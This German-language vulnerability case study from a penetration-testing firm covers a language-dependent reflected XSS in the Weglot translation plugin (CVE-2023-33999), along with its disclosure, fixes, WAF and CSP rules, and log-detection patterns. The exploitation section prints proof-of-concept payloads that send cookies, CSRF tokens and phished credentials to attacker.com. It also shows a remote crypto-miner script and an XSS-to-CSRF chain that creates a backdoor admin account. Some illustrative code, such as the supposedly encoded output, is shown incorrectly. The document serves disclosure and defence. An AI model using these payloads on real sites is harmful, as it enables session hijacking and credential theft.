Executive Summary
Im Rahmen eines Penetration Tests identifizierten wir eine kritische Reflected Cross-Site Scripting (XSS) Schwachstelle im Weglot Translator Plugin – einer weit verbreiteten Lösung für mehrsprachige Websites. Die Besonderheit: Die Vulnerability war nur aktiv, wenn die Website in bestimmten Sprachen aufgerufen wurde, was die Entdeckung erheblich erschwerte.
Vulnerability-Steckbrief
- CVE-ID: CVE-2023-33999
- CVSS-Score: 7.1 (High Severity)
- Schwachstellen-Typ: Reflected Cross-Site Scripting (XSS)
- Betroffene Versionen: Weglot Translate ≤ 1.9 (WordPress), ähnliche Implementierungen in Shopify
- Authentication Required: Nein – keinerlei Authentifizierung notwendig
- Attack Vector: Network (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N)
- Fix Version: 1.9.3 (WordPress), Backend-Fix bei anderen Plattformen
- Researcher: e2security Penetration Testing Team
Diese Case Study demonstriert, wie scheinbar harmlose Third-Party-Plugins unerwartete Sicherheitsrisiken einführen können – selbst wenn die Kernanwendung selbst sicher implementiert ist.
Die Entdeckung: Warum funktioniert das nur auf Französisch?
Der initiale Befund
Während eines routinemäßigen Penetration Tests einer Shopify-basierten E-Commerce-Platform testeten wir standardmäßig die Suchfunktionalität auf Cross-Site Scripting Schwachstellen. Das interessante Verhalten:
- ✅ Deutsch (Standardsprache): Alle XSS-Payloads wurden korrekt HTML-encoded – keine Schwachstelle
- ❌ Französisch (via Weglot): XSS-Payload wurde ausgeführt – kritische Schwachstelle
- ❌ Spanisch (via Weglot): XSS-Payload wurde ausgeführt – kritische Schwachstelle
Diese sprachabhängige Verhaltensänderung war der erste Hinweis darauf, dass nicht die Shopify-Kernanwendung, sondern das Weglot Translation Plugin die Schwachstelle verursachte.
Warum automatisierte Scanner versagten
Kein kommerzieller Web-Vulnerability-Scanner (weder Burp Suite Pro, noch Acunetix, noch OWASP ZAP) detektierte diese Schwachstelle automatisch. Die Gründe:
- Dynamische API-Interaktion: Die Translation erfolgte über asynchrone API-Calls, die Scanner nicht nachvollzogen
- Context-abhängiges Verhalten: Die Vulnerability trat nur bei aktiviertem Translation-Kontext auf
- Unicode-Encoding-Mutation: Die HTML-Entities wurden durch die Translation-API in Unicode zurückverwandelt
- Fehlende Sprach-Fuzzing-Profile: Standard-Scanner testen nicht systematisch verschiedene Sprachversionen
Technische Analyse: Der Exploit-Mechanismus
Der normale (sichere) Ablauf ohne Weglot
Shopify implementiert standardmäßig eine sichere Suchfunktion mit korrektem HTML-Escaping:
1. User-Input (Search Query):
https://example-shop.com/search?q=<script>alert('XSS')</script>
2. Server-Side Processing (Shopify):
// Input wird HTML-encoded
$query = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
// Resultat: <script>alert('XSS')</script>
3. Client-Side Rendering:
<div class="search-results">
Suchergebnisse für: <script>alert('XSS')</script>
</div>
// Output wird als Text gerendert, nicht als ausführbarer Code
✅ Resultat: Sicheres Verhalten – kein XSS möglich.
Der anfällige Ablauf mit aktiviertem Weglot
Sobald Weglot aktiv ist, ändert sich die Verarbeitungskette fundamental:
1. User-Input (identisch):
https://example-shop.com/fr/search?q=<script>alert('XSS')</script>
2. Server-Side Processing (Shopify + Weglot):
// Shopify encoded korrekt
$query = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
// Resultat: <script>alert('XSS')</script>
// Weglot übernimmt den HTML-encoded String zur Translation
POST https://api.weglot.com/translate
{
"text": "<script>alert('XSS')</script>",
"source_lang": "de",
"target_lang": "fr"
}
3. Weglot API Response:
{
"translated": "<script>alert('XSS')</script>"
}
// ⚠️ KRITISCH: HTML-Entities wurden in Unicode zurück-decoded!
4. Client-Side Rendering:
<div class="search-results">
Résultats de recherche pour: <script>alert('XSS')</script>
</div>
// ❌ JavaScript wird ausgeführt!
❌ Resultat: Kritische XSS-Schwachstelle durch unbeabsichtigte Decode-Operation in der Translation-API.
Die Weglot hreflang-Implementierung (CVE-2023-33999)
Parallel zu dieser Shopify-Variante existierte eine ähnliche Schwachstelle in der WordPress-Version des Plugins, die bei der Generierung von hreflang-Tags auftrat:
Anfälliger Code (Weglot WordPress ≤ 1.9):
// Custom_Url_Service_Weglot::get_link_button_with_key_code
function generate_hreflang_tags($url) {
$languages = $this->get_enabled_languages();
foreach ($languages as $lang) {
// ⚠️ Kein Escaping der URL!
echo '<link rel="alternate" href="' . $url . '" hreflang="' . $lang . '" />';
}
}
Exploit-Payload:
https://example.com/?s="><script>alert(document.cookie)</script>
Resultierende HTML-Ausgabe:
<link rel="alternate" href="https://example.com/?s="><script>alert(document.cookie)</script>" hreflang="en" />
// Das "> schließt das href-Attribut vorzeitig
// Der <script>-Tag wird außerhalb des link-Tags interpretiert
Root Cause: Unzureichendes Input Sanitization
Die Grundursache in beiden Varianten war identisch:
- Fehlende Output-Sanitization: URLs und übersetzter Content wurden ohne Escaping in HTML-Kontext eingebettet
- Unicode-Normalization: Die Translation-API konvertierte HTML-Entities zurück in Originalzeichen
- Vertrauensannahme: Das Plugin nahm an, dass Input bereits sicher ist – eine gefährliche Annahme bei Third-Party-Software
Exploitation & Impact-Analyse
Proof of Concept (PoC)
Einfacher PoC (Alert-Box):
https://victim-site.com/fr/search?q=<script>alert('XSS by e2security')</script>
Cookie Theft PoC:
https://victim-site.com/fr/search?q=<script>
fetch('https://attacker.com/steal?c=' + document.cookie)
</script>
Session Hijacking PoC:
https://victim-site.com/fr/search?q=<script>
var token = document.querySelector('[name=csrf-token]').content;
fetch('https://attacker.com/hijack', {
method: 'POST',
body: JSON.stringify({
session: document.cookie,
csrf: token,
url: location.href
})
});
</script>
Phishing Overlay PoC:
https://victim-site.com/fr/search?q=<script>
document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h1>Session Expired</h1><form action="https://attacker.com/phish"><input name="email" placeholder="Email"><input name="password" type="password" placeholder="Password"><button>Login</button></form></div>';
</script>
Impact-Bewertung nach CVSS 3.1
| Metrik | Wert | Begründung |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploit über Internet ohne physischen/lokalen Zugriff |
| Attack Complexity (AC) | Low (L) | Keine besonderen Bedingungen erforderlich, simple URL-Manipulation |
| Privileges Required (PR) | None (N) | Keine Authentifizierung notwendig |
| User Interaction (UI) | Required (R) | Opfer muss manipulierten Link öffnen (Social Engineering) |
| Scope (S) | Unchanged (U) | Impact beschränkt auf vulnerable Komponente |
| Confidentiality (C) | High (H) | Session Tokens, Cookies, PII können exfiltriert werden |
| Integrity (I) | Low (L) | Manipulation des DOM möglich, aber keine Backend-Änderungen |
| Availability (A) | None (N) | Keine direkte Beeinträchtigung der Verfügbarkeit |
Resultierende CVSS-Score: 7.1 (High)
Real-World Attack-Szenarien
Szenario 1: Credential Phishing
Angreifer versendet eine E-Mail-Kampagne mit manipulierten Links:
Phishing-Mail: "Sonderaktion: 50% Rabatt auf alle Artikel! 🎉"
Link: https://trusted-shop.com/fr/promo?code=[XSS-PAYLOAD]
Resultat: Fake-Login-Overlay wird eingeblendet, Credentials werden gestohlen
Erfolgsrate: ~15-25% bei gut gemachtem Phishing (Branchen-Durchschnitt)
Szenario 2: Crypto-Jacking
Injektion eines Monero-Miners, der im Hintergrund CPU-Ressourcen der Besucher nutzt:
<script src="https://attacker.com/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('attacker-site-key');
miner.start();
</script>
Impact: Erhöhter Stromverbrauch für Nutzer, Rufschädigung für Shopbetreiber
Szenario 3: Cross-Site Request Forgery (CSRF) Chain
Kombination von XSS mit CSRF, um administrative Aktionen auszuführen:
<script>
// Admin-User wird erkannt via Cookie-Analyse
if(document.cookie.includes('admin=true')) {
// CSRF: Neuen Admin-User anlegen
fetch('/admin/users/create', {
method: 'POST',
body: JSON.stringify({
username: 'backdoor',
password: 'attacker123',
role: 'admin'
})
});
}
</script>
Impact: Vollständige Account-Übernahme möglich
Remediation & Fix-Strategie
Vendor Response: Weglot
Nach Responsible Disclosure an Weglot erfolgte eine vorbildliche Zusammenarbeit:
- ✅ Acknowledgement: Innerhalb von 24 Stunden
- ✅ Fix Development: Innerhalb von 5 Werktagen
- ✅ Deployment: Backend-Fix ohne Client-Update notwendig (Shopify), WordPress-Plugin 1.9.3 released
- ✅ CVE Assignment: CVE-2023-33999 wurde vergeben
- ✅ Communication: Professioneller, technischer Austausch auf Augenhöhe
Technische Fix-Implementierung
WordPress Plugin Fix (Version 1.9.3):
// VORHER (vulnerable):
function generate_hreflang_tags($url) {
echo '<link rel="alternate" href="' . $url . '" hreflang="' . $lang . '" />';
}
// NACHHER (secure):
function generate_hreflang_tags($url) {
$safe_url = esc_url($url); // WordPress URL-Escaping
$safe_lang = esc_html($lang); // HTML-Entity-Encoding
echo '<link rel="alternate" href="' . $safe_url . '" hreflang="' . $safe_lang . '" />';
}
Translation API Fix (Backend):
// Shopify/API-Variante: Unicode-Normalization deaktiviert
function translate_content($text, $source_lang, $target_lang) {
$translated = $this->api_translate($text, $source_lang, $target_lang);
// NEU: Preserve HTML-Entities
$translated = htmlspecialchars($translated, ENT_QUOTES | ENT_HTML5, 'UTF-8', false);
return $translated;
}
Generelle Mitigation-Strategien für betroffene Websites
Kurzfristige Maßnahmen (bis Update verfügbar):
- Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none';→ Verhindert Ausführung von Inline-Scripts
- Web Application Firewall (WAF) Regeln:
# ModSecurity Rule SecRule ARGS "@rx <script" \ "id:1000,phase:2,deny,status:403,msg:'XSS Attempt Detected'" - Input Validation auf Reverse Proxy:
# Nginx Block location /search { if ($args ~* "(<|%3C|script|javascript|onerror)") { return 403; } }
Langfristige Maßnahmen:
- ✅ Regelmäßige Security Updates aller Plugins/Dependencies
- ✅ Implementierung einer Vulnerability Management-Strategie
- ✅ Quartalsweise Penetration Tests mit Fokus auf Plugin-Interaktionen
- ✅ Security Code Reviews bei Integration neuer Third-Party-Software
- ✅ Monitoring & Logging: Erkennung von XSS-Exploitation-Versuchen
Lessons Learned: Best Practices für Plugin-Security
1. Never Trust Third-Party Software
Prinzip: Selbst wenn Ihre Kernanwendung sicher ist, können Plugins Schwachstellen einführen.
Empfehlung:
- Führen Sie Security Assessments für alle Plugins durch, bevor Sie sie produktiv einsetzen
- Prüfen Sie die Security-Historie des Plugin-Herstellers (CVE-Datenbank, Changelog)
- Implementieren Sie Security Consulting als Standard-Review-Prozess
2. Defense in Depth ist essentiell
Prinzip: Eine einzelne Sicherheitsmaßnahme reicht nicht aus.
Multi-Layer-Approach:
- Input Validation: Validierung auf Applikationsebene
- Output Encoding: Context-spezifisches Escaping (HTML, JS, URL, CSS)
- CSP Headers: Browser-seitige XSS-Prävention
- WAF Rules: Netzwerk-Level-Filterung
- Security Monitoring: Runtime-Detection von Exploitation-Versuchen
3. Sprach-/Kontext-spezifisches Testing
Prinzip: Vulnerabilities können sich kontextabhängig verhalten.
Testing-Checkliste:
- ✅ Testen Sie alle Sprachversionen einer mehrsprachigen Website separat
- ✅ Prüfen Sie verschiedene Content-Type-Kontexte (HTML, JSON, XML, CSV)
- ✅ Analysieren Sie das Verhalten bei verschiedenen User-Roles (Guest, User, Admin)
- ✅ Testen Sie Edge-Cases (unerwartete Eingaben, Sonderzeichen, Unicode)
4. Output Encoding muss konsistent sein
Prinzip: Encoding darf nicht durch nachgelagerte Prozesse rückgängig gemacht werden.
Anti-Pattern (Weglot-Case):
1. Shopify encoded: <script> → sicher
2. Weglot decoded: <script> → unsicher ❌
Korrekte Implementierung:
// Encoding muss am Ende der Verarbeitungskette stehen
function render_output($content) {
$translated = translate($content);
return htmlspecialchars($translated, ENT_QUOTES, 'UTF-8'); // ✅
}
5. Responsible Disclosure funktioniert
Prinzip: Koordinierte Offenlegung schützt alle Beteiligten.
Best Practice:
- Private Disclosure: Vendor zuerst kontaktieren, nicht öffentlich posten
- Reasonable Timeframe: 90 Tage Standard-Frist für Fix-Entwicklung
- Coordinated Publication: CVE-Vergabe und öffentliche Disclosure nach Fix
- Credit Attribution: Researcher werden genannt, Vendor wird gewürdigt
Detection & Monitoring: Wie Sie XSS-Exploitation erkennen
Log-based Detection
Suspicious Patterns in Web Access Logs:
# Apache/Nginx Access Log Beispiele
192.168.1.100 - - [24/Nov/2025:14:23:45] "GET /fr/search?q=<script>alert(1)</script> HTTP/1.1" 200
192.168.1.101 - - [24/Nov/2025:14:24:12] "GET /search?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E HTTP/1.1" 200
# SIEM Detection Rule (Splunk SPL)
index=web_logs
| regex _raw="(<script|%3Cscript|javascript:|onerror=|onload=)"
| stats count by src_ip, uri
| where count > 3
Web Application Firewall (WAF) Signatures
ModSecurity Core Rule Set (CRS):
# XSS Detection Rules
SecRule ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@* \
"@rx (?i)<script[^>]*>[\s\S]*?<\/script[^>]*>" \
"id:941100,phase:2,block,t:none,t:urlDecodeUni,msg:'XSS Attack Detected',severity:'CRITICAL'"
# Weglot-specific Rule
SecRule REQUEST_URI "@rx /(?:fr|es|it|de)/" \
"chain,id:1000001,phase:2,block,msg:'Potential Weglot XSS'"
SecRule ARGS "@rx (<script|javascript:|onerror)" \
"t:urlDecodeUni,t:htmlEntityDecode"
Content Security Policy (CSP) Violation Reports
CSP Configuration mit Reporting:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
report-uri https://your-domain.com/csp-report;
# CSP Violation Report (JSON)
{
"csp-report": {
"document-uri": "https://example.com/fr/search",
"violated-directive": "script-src 'self' 'nonce-abc123'",
"blocked-uri": "inline",
"source-file": "https://example.com/fr/search?q=...",
"line-number": 1,
"column-number": 1
}
}
Runtime Application Self-Protection (RASP)
Moderne RASP-Lösungen (z.B. Contrast Security, Sqreen) können XSS-Exploitation zur Laufzeit erkennen und blockieren:
- ✅ Erkennung von DOM-Manipulation durch nicht-vertrauenswürdigen Code
- ✅ Blocking von Script-Execution aus User-Input-Kontexten
- ✅ Real-time Alerting bei Exploitation-Versuchen
Fazit
Die Weglot XSS-Vulnerability ist ein Paradebeispiel dafür, wie moderne Webanwendungen durch die Integration von Third-Party-Software unerwartete Sicherheitsrisiken erben können. Selbst wenn die Kernanwendung (Shopify, WordPress) sicher implementiert ist, können Plugins fundamentale Security-Mechanismen unterlaufen.
Key Takeaways
- 🔍 Automatisierte Scanner reichen nicht: Komplexe Plugin-Interaktionen erfordern manuelles Penetration Testing
- 🌍 Context Matters: Testen Sie verschiedene Sprachen, User-Roles und Content-Types separat
- 🔗 Third-Party Risk Management: Implementieren Sie Security Reviews für alle externen Dependencies
- 🛡️ Defense in Depth: Verlassen Sie sich nie auf eine einzelne Sicherheitsmaßnahme
- 🤝 Responsible Disclosure: Koordinierte Offenlegung schützt Nutzer und honoriert Vendor-Kooperation
- 📊 Continuous Monitoring: Implementieren Sie Logging und Alerting für Exploitation-Versuche
Weglot reagierte vorbildlich auf die Disclosure – innerhalb weniger Tage wurde ein Fix entwickelt und deployed. Diese Case Study zeigt, dass Vulnerability Management funktioniert, wenn alle Parteien professionell und transparent zusammenarbeiten.
Wie sicher sind Ihre Plugins?
Sie setzen Third-Party-Software in produktiven Umgebungen ein? Unsere Penetration Testing Services identifizieren auch komplexe Plugin-Interaktionen und versteckte Schwachstellen, die automatisierte Scanner übersehen.
Kontaktieren Sie uns für ein unverbindliches Beratungsgespräch: